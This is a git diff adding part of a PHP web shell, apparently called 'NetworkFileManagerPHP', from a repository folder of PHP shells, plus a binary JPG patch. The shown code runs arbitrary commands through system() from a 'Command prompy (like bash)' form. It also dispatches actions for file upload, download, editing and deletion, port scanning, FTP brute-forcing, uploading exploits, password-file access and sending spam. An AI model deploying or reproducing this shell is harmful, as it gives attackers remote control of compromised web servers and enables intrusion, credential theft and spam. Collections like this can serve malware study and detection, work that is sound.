<b>$fi</b> was deleted successfully.</font></center></td></tr></table>"; + + deletef($tm); + + break; + + case "download": + + if (isset($fatt) && strlen($fatt)>0) { + + $attach=$fatt; + + header("Content-type: text/plain"); + + } + + else { + + $attach=$fi; + + header("Content-type: hackru"); + + } + + header("Content-disposition: attachment; filename=\"$attach\";"); + + readfile($tm."/".$fi); + + break; + + case "download_mail": + + download_mail($tm,$fi); + + break; + + case "edit": + + editfile($tm,$fi); + + break; + + case "save": + + savefile($tm,$fi); + + break; + + case "uploadd": + + uploadtem(); + + break; + + case "up": + + up($tm); + + break; + + case "newdir": + + newdir($tm); + + break; + + case "createdir": + + cdir($tm); + + break; + + case "deldir": + + deldir(); + + break; + + case "feedback": + + mailsystem(); + + break; + + case "upload": + + upload(); + + break; + + case "help": + + help(); + + break; + + case "ftp": + + ftp(); + + break; + + case "portscan": + + portscan(); + + break; + + case "sql": + + sql(); + + break; + + case "tar": + + tar(); + + break; + + case "bash": + + bash(); + + break; + + case "passwd": + + passwd(); + + break; + + case "exploits": + + exploits($dir); + + break; + + case "upload_exploits": + + upload_exploits($dir); + + break; + + case "upload_exploitsp": + + upload_exploitsp($dir); + + break; + + case "arhiv": + + arhiv($tm,$pass); + + break; + + case "crypte": + + crypte(); + + break; + + case "decrypte": + + decrypte(); + + break; + + case "brut_ftp": + + brut_ftp(); + + break; + + case "copyfile": + + copyfile($tm,$fi); + + break; + + case "down": + + down($dir); + + break; + + case "downfiles": + + downfiles($dir); + + break; + + case "spam": + + spam(); + + break; + + } + + } + +} else { + + echo "<br><table CELLPADDING=0 CELLSPACING=0 bgcolor=#FFFFFF BORDER=1 width=600 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td><center>Done: $cm</center><pre>"; + + echo system($cm); + + echo "</pre></td></tr></table>"; + +} + + + +if ($action !="download" && $action != "down" && $action != "spam" && $action != "brut_ftp" && $action != "download_mail" && $action != "copyfile" && $action != "crypte" && $action != "decrypte" && $action != "exploits" && $action != "arhiv" && $action != "download_mail2" && $action != "feedback" && $action != "uploadd" && $action != "newdir" && $action != "edit" && $action != "view" && $action != "help" && $action != "ftp" && $action != "portscan" && $action != "sql" && $action != "tar" && $action != "bash" && $action != "anonimmail") { + + echo "<br><TABLE CELLPADDING=0 CELLSPACING=0 width='600' bgcolor=#184984 BORDER=1 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><form method='get' action='$PHP_SELF'><tr><td align=center colspan=2 class=pagetitle><b>Command prompy (like bash):</b></td></tr><tr><td valign=top><input type=text name=cm size=90 class='inputbox'></td><td valign=top><input type=submit value='GO' class=button1 $style_button></td></tr></form></table>"; + + $perdir = @permissions(fileperms($tm)); + + if ($perdir && $perdir[7] == "w" && isset($tm)) uploadtem(); + + else echo "<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td align=center class=pagetitle><b>Unable to upload files to current directory</b></font></td></tr></table>"; + + if ($perdir[7] == "w" && isset($tm)) { + + echo "<TABLE CELLPADDING=0 CELLSPACING=0 width='600' bgcolor=#184984 BORDER=1 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><form method = 'POST' action = '$PHP_SELF?tm=$tm&action=createdir'><tr><td align=center colspan=2 class=pagetitle><b>Create directory:</b></td></tr><tr><td valign=top><input type=text name='newd' size=90 class='inputbox'></td><td valign=top><input type=submit value='GO' class=button1 $style_button></td></tr></form></table>"; + + } else { + + echo "<TABLE CELLPADDING=0 CELLSPACING=0 bgcolor=#184984 BORDER=1 width=300 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><tr><td align=center class=pagetitle><b>Unable to create directory here</b></td></tr></table>"; + + } + +} + + + +if ($action !="download" && $action != "down" && $action != "spam" && $action != "brut_ftp" && $action != "download_mail" && $action != "copyfile" && $action != "crypte" && $action != "decrypte" && $action != "exploits" && $action != "arhiv" && $action != "download_mail2" && $action != "feedback" && $action != "uploadd" && $action != "newdir" && $action != "edit" && $action != "view" && $action != "help" && $action != "aliases" && $action != "portscan" && $action != "ftp" && $action != "sql" && $action != "tar" && $action != "bash" && $action != "anonimmail") { + + echo "<TABLE CELLPADDING=0 CELLSPACING=0 width='600' bgcolor=#184984 BORDER=1 align=center bordercolor=#808080 bordercolorlight=black bordercolordark=white><form method='get' action='$PHP_SELF'><tr><td align=center colspan=2 class=pagetitle><b>Ready usefull requests to unix server:</b></td></tr><tr><td valign=top width=95%><select name=cm class='inputbox'>"; + + foreach ($aliases as $alias_name=>$alias_cmd) echo "<option size=80 class='inputbox'>$alias_name</option>"; + + echo "</select></td><td valign=top align=right width=5%><input type=submit value='GO' class=button1 $style_button></td></tr></table></form>"; + +} + + + +if ( $action !="download") echo nfm_copyright(); + +?> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/php/PHPshell/NetworkFileManagerPHP/NetworkFileManagerPHP2.jpg b/php/PHPshell/NetworkFileManagerPHP/NetworkFileManagerPHP2.jpg new file mode 100644 index 0000000000000000000000000000000000000000..160b641c322238937f15feebff4666c73c313703 GIT binary patch literal 116521 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 